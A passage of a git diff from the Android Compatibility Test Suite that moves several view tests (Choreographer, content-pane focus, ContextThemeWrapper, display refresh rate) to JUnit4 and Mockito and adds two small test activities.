             // If the token matches, the the callback should be removed.
             mChoreographer.postCallbackDelayed(
@@ -146,9 +154,8 @@
                     Choreographer.CALLBACK_ANIMATION, removedCallback, TOKEN, DELAY_PERIOD);
             mChoreographer.removeCallbacks(
                     Choreographer.CALLBACK_ANIMATION, null, TOKEN);
-            sleep(NOMINAL_VSYNC_PERIOD * 3 + DELAY_PERIOD);
-            assertEquals(2, addedCallback.invocationCount);
-            assertEquals(0, removedCallback.invocationCount);
+            verify(addedCallback, timeout(DELAY_PERIOD * 3).times(2)).run();
+            verifyZeroInteractions(removedCallback);
 
             // If the action and token matches, then the callback should be removed.
             // If only the token matches, then the callback should not be removed.
@@ -158,9 +165,8 @@
                     Choreographer.CALLBACK_ANIMATION, removedCallback, TOKEN, DELAY_PERIOD);
             mChoreographer.removeCallbacks(
                     Choreographer.CALLBACK_ANIMATION, removedCallback, TOKEN);
-            sleep(NOMINAL_VSYNC_PERIOD * 3 + DELAY_PERIOD);
-            assertEquals(3, addedCallback.invocationCount);
-            assertEquals(0, removedCallback.invocationCount);
+            verify(addedCallback, timeout(DELAY_PERIOD * 3).times(3)).run();
+            verifyZeroInteractions(removedCallback);
         } finally {
             mChoreographer.removeCallbacks(
                     Choreographer.CALLBACK_ANIMATION, addedCallback, null);
@@ -169,30 +175,25 @@
         }
     }
 
-    public void testPostCallbackThrowsIfRunnableIsNull() {
-        try {
-            mChoreographer.postCallback(
-                    Choreographer.CALLBACK_ANIMATION, null, TOKEN);
-            fail("Expected IllegalArgumentException");
-        } catch (IllegalArgumentException ex) {
-            // expected
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testPostNullCallback() {
+        mChoreographer.postCallback(Choreographer.CALLBACK_ANIMATION, null, TOKEN);
     }
 
-    public void testPostCallbackDelayedThrowsIfRunnableIsNull() {
-        try {
-            mChoreographer.postCallbackDelayed(
-                    Choreographer.CALLBACK_ANIMATION, null, TOKEN, DELAY_PERIOD);
-            fail("Expected IllegalArgumentException");
-        } catch (IllegalArgumentException ex) {
-            // expected
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testPostNullCallbackDelayed() {
+        mChoreographer.postCallbackDelayed( Choreographer.CALLBACK_ANIMATION, null, TOKEN,
+                DELAY_PERIOD);
     }
 
-    public void testPostFrameCallbackWithoutDelayEventuallyRunsFrameCallbacks() {
-        MockFrameCallback addedFrameCallback1 = new MockFrameCallback();
-        MockFrameCallback addedFrameCallback2 = new MockFrameCallback();
-        MockFrameCallback removedFrameCallback = new MockFrameCallback();
+    @Test
+    public void testPostFrameCallbackWithoutDelay() {
+        final Choreographer.FrameCallback addedFrameCallback1 =
+                mock(Choreographer.FrameCallback.class);
+        final Choreographer.FrameCallback addedFrameCallback2 =
+                mock(Choreographer.FrameCallback.class);
+        final Choreographer.FrameCallback removedFrameCallback =
+                mock(Choreographer.FrameCallback.class);
         try {
             // Add and remove a few callbacks.
             long postTimeNanos = System.nanoTime();
@@ -201,30 +202,32 @@
             mChoreographer.postFrameCallback(removedFrameCallback);
             mChoreographer.removeFrameCallback(removedFrameCallback);
 
-            // Sleep for a couple of frames.
-            sleep(NOMINAL_VSYNC_PERIOD * 3);
-
             // We expect the remaining callbacks to have been invoked once.
-            assertEquals(1, addedFrameCallback1.invocationCount);
-            assertEquals(1, addedFrameCallback2.invocationCount);
-            assertEquals(0, removedFrameCallback.invocationCount);
-            assertTimeDeltaLessThan(addedFrameCallback1.frameTimeNanos - postTimeNanos,
-                    NOMINAL_VSYNC_PERIOD * 3 * NANOS_PER_MS);
-            assertTimeDeltaLessThan(addedFrameCallback2.frameTimeNanos - postTimeNanos,
-                    NOMINAL_VSYNC_PERIOD * 3 * NANOS_PER_MS);
-            assertTimeDeltaLessThan(Math.abs(addedFrameCallback2.frameTimeNanos
-                    - addedFrameCallback1.frameTimeNanos), NOMINAL_VSYNC_PERIOD * NANOS_PER_MS);
+            ArgumentCaptor<Long> frameTimeNanosCaptor1 = ArgumentCaptor.forClass(Long.class);
+            ArgumentCaptor<Long> frameTimeNanosCaptor2 = ArgumentCaptor.forClass(Long.class);
+            verify(addedFrameCallback1, timeout(NOMINAL_VSYNC_PERIOD * 10).times(1))
+                    .doFrame(frameTimeNanosCaptor1.capture());
+            verify(addedFrameCallback2, times(1)).doFrame(frameTimeNanosCaptor2.capture());
+            verifyZeroInteractions(removedFrameCallback);
+
+            assertTimeDeltaLessThan(frameTimeNanosCaptor1.getValue() - postTimeNanos,
+                    NOMINAL_VSYNC_PERIOD * 10 * NANOS_PER_MS);
+            assertTimeDeltaLessThan(frameTimeNanosCaptor2.getValue() - postTimeNanos,
+                    NOMINAL_VSYNC_PERIOD * 10 * NANOS_PER_MS);
+            assertTimeDeltaLessThan(
+                    Math.abs(frameTimeNanosCaptor2.getValue() - frameTimeNanosCaptor1.getValue()),
+                    NOMINAL_VSYNC_PERIOD * NANOS_PER_MS);
 
             // If we post a callback again, then it should be invoked again.
             postTimeNanos = System.nanoTime();
             mChoreographer.postFrameCallback(addedFrameCallback1);
-            sleep(NOMINAL_VSYNC_PERIOD * 3);
 
-            assertEquals(2, addedFrameCallback1.invocationCount);
-            assertEquals(1, addedFrameCallback2.invocationCount);
-            assertEquals(0, removedFrameCallback.invocationCount);
-            assertTimeDeltaLessThan(addedFrameCallback1.frameTimeNanos - postTimeNanos,
-                    NOMINAL_VSYNC_PERIOD * 3 * NANOS_PER_MS);
+            verify(addedFrameCallback1, timeout(NOMINAL_VSYNC_PERIOD * 10).times(2))
+                    .doFrame(frameTimeNanosCaptor1.capture());
+            verify(addedFrameCallback2, times(1)).doFrame(frameTimeNanosCaptor2.capture());
+            verifyZeroInteractions(removedFrameCallback);
+            assertTimeDeltaLessThan(frameTimeNanosCaptor1.getAllValues().get(1) - postTimeNanos,
+                    NOMINAL_VSYNC_PERIOD * 10 * NANOS_PER_MS);
         } finally {
             mChoreographer.removeFrameCallback(addedFrameCallback1);
             mChoreographer.removeFrameCallback(addedFrameCallback2);
@@ -232,9 +235,12 @@
         }
     }
 
-    public void testPostFrameCallbackWithDelayEventuallyRunsFrameCallbacksAfterDelay() {
-        MockFrameCallback addedFrameCallback = new MockFrameCallback();
-        MockFrameCallback removedFrameCallback = new MockFrameCallback();
+    @Test
+    public void testPostFrameCallbackWithDelay() {
+        final Choreographer.FrameCallback addedFrameCallback =
+                mock(Choreographer.FrameCallback.class);
+        final Choreographer.FrameCallback removedFrameCallback =
+                mock(Choreographer.FrameCallback.class);
         try {
             // Add and remove a few callbacks.
             long postTimeNanos = System.nanoTime();
@@ -243,20 +249,19 @@
             mChoreographer.removeFrameCallback(removedFrameCallback);
 
             // Sleep for a couple of frames.
-            sleep(NOMINAL_VSYNC_PERIOD * 3);
+            SystemClock.sleep(NOMINAL_VSYNC_PERIOD * 3);
 
             // The callbacks should not have been invoked yet because of the delay.
-            assertEquals(0, addedFrameCallback.invocationCount);
-            assertEquals(0, removedFrameCallback.invocationCount);
-
-            // Sleep for the rest of the delay time.
-            sleep(DELAY_PERIOD);
+            verifyZeroInteractions(addedFrameCallback);
+            verifyZeroInteractions(removedFrameCallback);
 
             // We expect the remaining callbacks to have been invoked.
-            assertEquals(1, addedFrameCallback.invocationCount);
-            assertEquals(0, removedFrameCallback.invocationCount);
-            assertTimeDeltaLessThan(addedFrameCallback.frameTimeNanos - postTimeNanos,
-                    (NOMINAL_VSYNC_PERIOD * 3 + DELAY_PERIOD) * NANOS_PER_MS);
+            ArgumentCaptor<Long> frameTimeNanosCaptor = ArgumentCaptor.forClass(Long.class);
+            verify(addedFrameCallback, timeout(DELAY_PERIOD * 3).times(1))
+                    .doFrame(frameTimeNanosCaptor.capture());
+            verifyZeroInteractions(removedFrameCallback);
+            assertTimeDeltaLessThan(frameTimeNanosCaptor.getValue() - postTimeNanos,
+                    (NOMINAL_VSYNC_PERIOD * 10 + DELAY_PERIOD) * NANOS_PER_MS);
         } finally {
             mChoreographer.removeFrameCallback(addedFrameCallback);
             mChoreographer.removeFrameCallback(removedFrameCallback);
@@ -270,58 +275,18 @@
         }
     }
 
-    public void testPostFrameCallbackThrowsIfCallbackIsNull() {
-        try {
-            mChoreographer.postFrameCallback(null);
-            fail("Expected IllegalArgumentException");
-        } catch (IllegalArgumentException ex) {
-            // expected
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testPostNullFrameCallback() {
+        mChoreographer.postFrameCallback(null);
     }
 
-    public void testPostFrameCallbackDelayedThrowsIfCallbackIsNull() {
-        try {
-            mChoreographer.postFrameCallbackDelayed(null, DELAY_PERIOD);
-            fail("Expected IllegalArgumentException");
-        } catch (IllegalArgumentException ex) {
-            // expected
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testPostNullFrameCallbackDelayed() {
+        mChoreographer.postFrameCallbackDelayed(null, DELAY_PERIOD);
     }
 
-    public void testRemoveFrameCallbackThrowsIfCallbackIsNull() {
-        try {
-            mChoreographer.removeFrameCallback(null);
-            fail("Expected IllegalArgumentException");
-        } catch (IllegalArgumentException ex) {
-            // expected
-        }
-    }
-
-    private void sleep(long time) {
-        try {
-            Thread.sleep(time);
-        } catch (InterruptedException e) {
-            fail(e.getMessage());
-        }
-    }
-
-    private static final class MockRunnable implements Runnable {
-        public int invocationCount;
-
-        @Override
-        public void run() {
-            invocationCount += 1;
-        }
-    }
-
-    private static final class MockFrameCallback implements Choreographer.FrameCallback {
-        public long frameTimeNanos;
-        public int invocationCount;
-
-        @Override
-        public void doFrame(long frameTimeNanos) {
-            this.frameTimeNanos = frameTimeNanos;
-            invocationCount += 1;
-        }
+    @Test(expected=IllegalArgumentException.class)
+    public void testRemoveNullFrameCallback() {
+        mChoreographer.removeFrameCallback(null);
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/ContentPaneFocusTest.java b/tests/tests/view/src/android/view/cts/ContentPaneFocusTest.java
index eaaea74..72c89df 100644
--- a/tests/tests/view/src/android/view/cts/ContentPaneFocusTest.java
+++ b/tests/tests/view/src/android/view/cts/ContentPaneFocusTest.java
@@ -16,46 +16,117 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
 import android.app.ActionBar;
 import android.app.Activity;
+import android.app.Instrumentation;
 import android.content.pm.PackageManager;
 import android.os.SystemClock;
-import android.test.ActivityInstrumentationTestCase2;
-import android.view.KeyCharacterMap;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.KeyEvent;
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.ViewParent;
 
-public class ContentPaneFocusTest
-        extends ActivityInstrumentationTestCase2<ContentPaneCtsActivity> {
-    public ContentPaneFocusTest() {
-        super("android.view.cts", ContentPaneCtsActivity.class);
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ContentPaneFocusTest {
+    private Instrumentation mInstrumentation;
+    private Activity mActivity;
+
+    @Rule
+    public ActivityTestRule<ContentPaneCtsActivity> mActivityRule =
+            new ActivityTestRule<>(ContentPaneCtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
     }
 
+    @Test
     public void testAccessActionBar() throws Throwable {
-        final Activity activity = getActivity();
+        final View v1 = mActivity.findViewById(R.id.view1);
+        mActivityRule.runOnUiThread(v1::requestFocus);
 
-        final View v1 = activity.findViewById(R.id.view1);
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                v1.requestFocus();
-            }
-        });
+        mInstrumentation.waitForIdleSync();
+        sendMetaHotkey(KeyEvent.KEYCODE_TAB);
+        mInstrumentation.waitForIdleSync();
 
-        getInstrumentation().waitForIdleSync();
-        sendControlChar('<');
-        getInstrumentation().waitForIdleSync();
-
-        ActionBar action = activity.getActionBar();
+        ActionBar action = mActivity.getActionBar();
         if (action == null || !action.isShowing()) {
             // No action bar, so we only needed to make sure that the shortcut didn't cause
             // the framework to crash.
             return;
         }
 
-        final View content = activity.findViewById(android.R.id.content);
+        final View actionBar = getActionBarView();
+        // Should jump to the action bar after meta+tab
+        mActivityRule.runOnUiThread(() -> {
+            assertFalse(v1.hasFocus());
+            assertTrue(actionBar.hasFocus());
+        });
+
+        boolean isTouchScreen = mActivity.getPackageManager()
+                .hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN);
+        if (isTouchScreen) {
+            mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
+            mInstrumentation.waitForIdleSync();
+
+            // Shouldn't leave actionbar with normal keyboard navigation on touchscreens.
+            mActivityRule.runOnUiThread(() -> assertTrue(actionBar.hasFocus()));
+        }
+
+        sendMetaHotkey(KeyEvent.KEYCODE_TAB);
+        mInstrumentation.waitForIdleSync();
+
+        // Should jump to the first view again.
+        mActivityRule.runOnUiThread(() -> assertTrue(v1.hasFocus()));
+
+        if (isTouchScreen) {
+            mInstrumentation.sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_UP);
+            mInstrumentation.waitForIdleSync();
+            // Now it shouldn't go up to action bar -- it doesn't allow taking focus once left
+            // but only for touch screens.
+            mActivityRule.runOnUiThread(() -> assertTrue(v1.hasFocus()));
+        }
+    }
+
+    @Test
+    public void testNoFocusablesInContent() throws Throwable {
+        ViewGroup top = mActivity.findViewById(R.id.linearlayout);
+        top.setDescendantFocusability(ViewGroup.FOCUS_BLOCK_DESCENDANTS);
+        mActivityRule.runOnUiThread(top::clearFocus);
+        mInstrumentation.waitForIdleSync();
+        top.clearFocus();
+        final View content = mActivity.findViewById(android.R.id.content);
+        assertTrue(content.findFocus() == null);
+        sendMetaHotkey(KeyEvent.KEYCODE_TAB);
+        mInstrumentation.waitForIdleSync();
+
+        ActionBar action = mActivity.getActionBar();
+        if (action == null || !action.isShowing()) {
+            // No action bar, so we only needed to make sure that the shortcut didn't cause
+            // the framework to crash.
+            return;
+        }
+
+        assertTrue(getActionBarView().hasFocus());
+    }
+
+    private View getActionBarView() {
+        final View content = mActivity.findViewById(android.R.id.content);
         assertNotNull(content);
         final ViewParent viewParent = content.getParent();
         assertNotNull(viewParent);
@@ -70,64 +141,28 @@
             }
         }
         assertNotNull(actionBarView);
-        final View actionBar = actionBarView;
-        // Should jump to the action bar after control-<
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                assertFalse(v1.hasFocus());
-                assertTrue(actionBar.hasFocus());
-            }
-        });
-        getInstrumentation().sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_DOWN);
-        getInstrumentation().waitForIdleSync();
-
-        // Should jump to the first view again.
-        runTestOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                assertTrue(v1.hasFocus());
-            }
-        });
-        getInstrumentation().sendKeyDownUpSync(KeyEvent.KEYCODE_DPAD_UP);
-        getInstrumentation().waitForIdleSync();
-
-        boolean isTouchScreen = activity.getPackageManager().
-                hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN);
-        if (isTouchScreen) {
-            // Now it shouldn't go up to action bar -- it doesn't allow taking focus once left
-            // but only for touch screens.
-            runTestOnUiThread(new Runnable() {
-                @Override
-                public void run() {
-                    assertTrue(v1.hasFocus());
-                }
-            });
-        }
+        return actionBarView;
     }
 
-    private void sendControlChar(char key) throws Throwable {
-        KeyEvent tempEvent = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_A);
-        KeyCharacterMap map = tempEvent.getKeyCharacterMap();
-        sendControlKey(KeyEvent.ACTION_DOWN);
-        KeyEvent[] events = map.getEvents(new char[] {key});
-        final int controlOn = KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_LEFT_ON;
-        for (int i = 0; i < events.length; i++) {
-            long time = SystemClock.uptimeMillis();
-            KeyEvent event = events[i];
-            KeyEvent controlKey = new KeyEvent(time, time, event.getAction(), event.getKeyCode(),
-                    event.getRepeatCount(), event.getMetaState() | controlOn);
-            getInstrumentation().sendKeySync(controlKey);
-            Thread.sleep(2);
-        }
-        sendControlKey(KeyEvent.ACTION_UP);
-    }
-
-    private void sendControlKey(int action) throws Throwable {
+    private void sendMetaHotkey(int keyCode) throws Throwable {
+        sendMetaKey(KeyEvent.ACTION_DOWN);
         long time = SystemClock.uptimeMillis();
-        KeyEvent keyEvent = new KeyEvent(time, time, action, KeyEvent.KEYCODE_CTRL_LEFT, 0,
-                KeyEvent.META_CTRL_LEFT_ON | KeyEvent.META_CTRL_ON);
-        getInstrumentation().sendKeySync(keyEvent);
+        KeyEvent metaHotkey = new KeyEvent(time, time, KeyEvent.ACTION_DOWN, keyCode,
+                0, KeyEvent.META_META_ON | KeyEvent.META_META_LEFT_ON);
+        mInstrumentation.sendKeySync(metaHotkey);
+        time = SystemClock.uptimeMillis();
+        metaHotkey = new KeyEvent(time, time, KeyEvent.ACTION_UP, keyCode,
+                0, KeyEvent.META_META_ON | KeyEvent.META_META_LEFT_ON);
+        mInstrumentation.sendKeySync(metaHotkey);
+        Thread.sleep(2);
+        sendMetaKey(KeyEvent.ACTION_UP);
+    }
+
+    private void sendMetaKey(int action) throws Throwable {
+        long time = SystemClock.uptimeMillis();
+        KeyEvent keyEvent = new KeyEvent(time, time, action, KeyEvent.KEYCODE_META_LEFT, 0,
+                KeyEvent.META_META_LEFT_ON | KeyEvent.META_META_ON);
+        mInstrumentation.sendKeySync(keyEvent);
         Thread.sleep(2);
     }
 }
diff --git a/tests/tests/view/src/android/view/cts/ContextThemeWrapperTest.java b/tests/tests/view/src/android/view/cts/ContextThemeWrapperTest.java
index ccf37949..2e1b929 100644
--- a/tests/tests/view/src/android/view/cts/ContextThemeWrapperTest.java
+++ b/tests/tests/view/src/android/view/cts/ContextThemeWrapperTest.java
@@ -16,22 +16,35 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.content.Context;
 import android.content.res.Configuration;
 import android.content.res.Resources;
-import android.content.res.TypedArray;
 import android.content.res.Resources.Theme;
-import android.test.AndroidTestCase;
+import android.content.res.TypedArray;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.view.ContextThemeWrapper;
 
-import android.view.cts.R;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
-public class ContextThemeWrapperTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ContextThemeWrapperTest {
     private static final int SYSTEM_DEFAULT_THEME = 0;
 
-    private static class MocContextThemeWrapper extends ContextThemeWrapper {
+    private Context mContext;
+
+    private static class MockContextThemeWrapper extends ContextThemeWrapper {
         public boolean isOnApplyThemeResourceCalled;
-        public MocContextThemeWrapper(Context base, int themeres) {
+        public MockContextThemeWrapper(Context base, int themeres) {
             super(base, themeres);
         }
 
@@ -42,42 +55,51 @@
         }
     }
 
+    @Before
+    public void setup() {
+        mContext = InstrumentationRegistry.getTargetContext();
+    }
+
+    @Test
     public void testConstructor() {
         new ContextThemeWrapper();
 
-        new ContextThemeWrapper(getContext(), R.style.TextAppearance);
+        new ContextThemeWrapper(mContext, R.style.TextAppearance);
 
-        new ContextThemeWrapper(getContext(), getContext().getTheme());
+        new ContextThemeWrapper(mContext, mContext.getTheme());
     }
 
+    @Test
     public void testAccessTheme() {
-        Context context = getContext();
         ContextThemeWrapper contextThemeWrapper = new ContextThemeWrapper(
-                context, SYSTEM_DEFAULT_THEME);
+                mContext, SYSTEM_DEFAULT_THEME);
         // set Theme to TextAppearance
         contextThemeWrapper.setTheme(R.style.TextAppearance);
         TypedArray ta =
             contextThemeWrapper.getTheme().obtainStyledAttributes(R.styleable.TextAppearance);
 
         // assert theme style of TextAppearance
-        assertEqualsTextAppearanceStyle(ta);
+        verifyIdenticalTextAppearanceStyle(ta);
     }
 
+    @Test
     public void testGetSystemService() {
-        // new the ContextThemeWrapper instance
-        Context context = getContext();
-        int themeres = R.style.TextAppearance;
-        MocContextThemeWrapper contextThemeWrapper = new MocContextThemeWrapper(context, themeres);
+        // Note that we can't use Mockito since ContextThemeWrapper.onApplyThemeResource is
+        // protected
+        final MockContextThemeWrapper contextThemeWrapper =
+                new MockContextThemeWrapper(mContext, R.style.TextAppearance);
         contextThemeWrapper.getTheme();
         assertTrue(contextThemeWrapper.isOnApplyThemeResourceCalled);
+
         // All service get from contextThemeWrapper just the same as this context get,
         // except Context.LAYOUT_INFLATER_SERVICE.
-        assertEquals(context.getSystemService(Context.ACTIVITY_SERVICE),
+        assertEquals(mContext.getSystemService(Context.ACTIVITY_SERVICE),
                 contextThemeWrapper.getSystemService(Context.ACTIVITY_SERVICE));
-        assertNotSame(context.getSystemService(Context.LAYOUT_INFLATER_SERVICE),
+        assertNotSame(mContext.getSystemService(Context.LAYOUT_INFLATER_SERVICE),
                 contextThemeWrapper.getSystemService(Context.LAYOUT_INFLATER_SERVICE));
     }
 
+    @Test
     public void testAttachBaseContext() {
         assertTrue((new ContextThemeWrapper() {
             public boolean test() {
@@ -86,7 +108,7 @@
                 // As ContextThemeWrapper is a context, we will attachBaseContext to
                 // two different ContextThemeWrapper instances.
                 try {
-                    attachBaseContext(new ContextThemeWrapper(getContext(),
+                    attachBaseContext(new ContextThemeWrapper(mContext,
                             R.style.TextAppearance));
                 } catch(IllegalStateException e) {
                     fail("test attachBaseContext fail");
@@ -103,13 +125,13 @@
         }).test());
     }
 
+    @Test
     public void testApplyOverrideConfiguration() {
-        Context context = getContext();
-        final int realDensity = context.getResources().getConfiguration().densityDpi;
+        final int realDensity = mContext.getResources().getConfiguration().densityDpi;
         final int expectedDensity = realDensity + 1;
 
         ContextThemeWrapper contextThemeWrapper = new ContextThemeWrapper(
-                context, SYSTEM_DEFAULT_THEME);
+                mContext, SYSTEM_DEFAULT_THEME);
 
         Configuration overrideConfig = new Configuration();
         overrideConfig.densityDpi = expectedDensity;
@@ -119,11 +141,11 @@
         assertEquals(expectedDensity, actualConfiguration.densityDpi);
     }
 
-    private void assertEqualsTextAppearanceStyle(TypedArray ta) {
+    private void verifyIdenticalTextAppearanceStyle(TypedArray ta) {
         final int defValue = -1;
         // get Theme and assert
-        Resources.Theme expected = getContext().getResources().newTheme();
-        expected.setTo(getContext().getTheme());
+        Resources.Theme expected = mContext.getResources().newTheme();
+        expected.setTo(mContext.getTheme());
         expected.applyStyle(R.style.TextAppearance, true);
         TypedArray expectedTa = expected.obtainStyledAttributes(R.styleable.TextAppearance);
         assertEquals(expectedTa.getIndexCount(), ta.getIndexCount());
@@ -136,7 +158,7 @@
         assertEquals(expectedTa.getColor(R.styleable.TextAppearance_textColorHighlight, defValue),
                 ta.getColor(R.styleable.TextAppearance_textColorHighlight, defValue));
         assertEquals(expectedTa.getDimension(R.styleable.TextAppearance_textSize, defValue),
-                ta.getDimension(R.styleable.TextAppearance_textSize, defValue));
+                ta.getDimension(R.styleable.TextAppearance_textSize, defValue), 0.0f);
         assertEquals(expectedTa.getInt(R.styleable.TextAppearance_textStyle, defValue),
                 ta.getInt(R.styleable.TextAppearance_textStyle, defValue));
     }
diff --git a/tests/tests/view/src/android/view/cts/DefaultFocusHighlightCtsActivity.java b/tests/tests/view/src/android/view/cts/DefaultFocusHighlightCtsActivity.java
new file mode 100644
index 0000000..5211938
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/DefaultFocusHighlightCtsActivity.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * A simple activity to test "Default Focus Highlight"
+ */
+public class DefaultFocusHighlightCtsActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.default_focus_highlight_layout);
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/DisplayRefreshRateCtsActivity.java b/tests/tests/view/src/android/view/cts/DisplayRefreshRateCtsActivity.java
new file mode 100644
index 0000000..957ee10
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/DisplayRefreshRateCtsActivity.java
@@ -0,0 +1,144 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.opengl.GLSurfaceView;
+import android.util.Log;
+
+import javax.microedition.khronos.egl.EGLConfig;
+import javax.microedition.khronos.opengles.GL10;
+
+public class DisplayRefreshRateCtsActivity extends GLSurfaceViewCtsActivity {
+    private static final String TAG = "DisplayRefreshRateAct";
+
+    public class FpsResult {
+        private float mFps;
+        private boolean mValid = false;
+        private boolean mRestartRequested = false;
+
+        public final synchronized void notifyResult(float fps) {
+            if (!mValid) {
+                mFps = fps;
+                mValid = true;
+                notifyAll();
+            }
+        }
+
+        public final synchronized float waitResult() {
+            while (!mValid) {
+                try {
+                    wait();
+                } catch (InterruptedException e) {/* ignore and retry */}
+            }
+            return mFps;
+        }
+
+        public synchronized void restart() {
+            mRestartRequested = true;
+            mValid = false;
+        }
+        public synchronized boolean restartNecessary() {
+            return mRestartRequested;
+        }
+        public synchronized void ackRestart() {
+            mRestartRequested = false;
+        }
+    }
+
+    private class Renderer implements GLSurfaceView.Renderer {
+        // Measurement knobs.
+        // NB: Some devices need a surprisingly long warmup period before the
+        // framerate becomes stable.
+        private static final float WARMUP_SECONDS = 2.0f;
+        private static final float TEST_SECONDS   = 8.0f;
+
+        // Test states
+        private static final int STATE_START  = 0;
+        private static final int STATE_WARMUP = 1;
+        private static final int STATE_TEST   = 2;
+        private static final int STATE_DONE   = 3;
+
+        private FpsResult mResult;
+        private int       mState     = STATE_START;
+        private float     mStartTime = 0.0f;
+        private int       mNumFrames = 0;
+
+        public Renderer(FpsResult result) {
+            mResult = result;
+        }
+
+        public void onDrawFrame(GL10 gl) {
+            float t = (float)System.nanoTime() * 1.0e-9f;
+            switch (mState) {
+                case STATE_START:
+                    mStartTime = t;
+                    mState = STATE_WARMUP;
+                    break;
+
+                case STATE_WARMUP:
+                    if ((t - mStartTime) >= WARMUP_SECONDS) {
+                        mStartTime = t;
+                        mNumFrames = 0;
+                        mState = STATE_TEST;
+                    }
+                    break;
+
+                case STATE_TEST:
+                    mNumFrames++;
+                    float elapsed = t - mStartTime;
+                    if (elapsed >= TEST_SECONDS) {
+                        mResult.notifyResult((float)mNumFrames / elapsed);
+                        mState = STATE_DONE;
+                    }
+                    break;
+
+                case STATE_DONE:
+                    if (mResult.restartNecessary()) {
+                        mResult.ackRestart();
+                        mState = STATE_START;
+                        Log.d(TAG, "restarting");
+                    }
+                    break;
+            }
+
+            // prevent unwanted optimizations or hidden costs (e.g. reading
+            // previous frame on tilers).
+            gl.glClearColor(0.0f, 0.0f, 0.0f, 0.0f);
+            gl.glClear(gl.GL_COLOR_BUFFER_BIT);
+        }
+
+        public void onSurfaceChanged(GL10 gl, int width, int height) {
+            // Do nothing.
+        }
+
+        public void onSurfaceCreated(GL10 gl, EGLConfig config) {
+            // Do nothing.
+        }
+    }
+
+    private FpsResult mResult = new FpsResult();
+
+    @Override
+    protected void configureGLSurfaceView() {
+        mView.setRenderer(new Renderer(mResult));
+        mView.setRenderMode(GLSurfaceView.RENDERMODE_CONTINUOUSLY);
+    }
+
+    public FpsResult getFpsResult() {
+        return mResult;
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/DisplayRefreshRateTest.java b/tests/tests/view/src/android/view/cts/DisplayRefreshRateTest.java
index 5120604..51ec7f2 100644
--- a/tests/tests/view/src/android/view/cts/DisplayRefreshRateTest.java
+++ b/tests/tests/view/src/android/view/cts/DisplayRefreshRateTest.java
@@ -16,19 +16,21 @@
 
 package android.view.cts;
 
+import static org.junit.Assert.assertTrue;
+
 import android.content.Context;
-import android.opengl.GLSurfaceView;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.os.SystemClock;
+import android.support.test.filters.LargeTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
 import android.view.Display;
 import android.view.WindowManager;
-import android.util.Log;
 
-import java.lang.InterruptedException;
-import java.lang.Thread;
-import java.util.ArrayList;
-import javax.microedition.khronos.egl.EGLConfig;
-import javax.microedition.khronos.opengles.GL10;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Test that the screen refresh rate claimed by
@@ -37,9 +39,9 @@
  * Display.getRefreshRate() -- using GL is just an easy and hopefully reliable
  * way of measuring the actual refresh rate.
  */
-public class DisplayRefreshRateTest extends
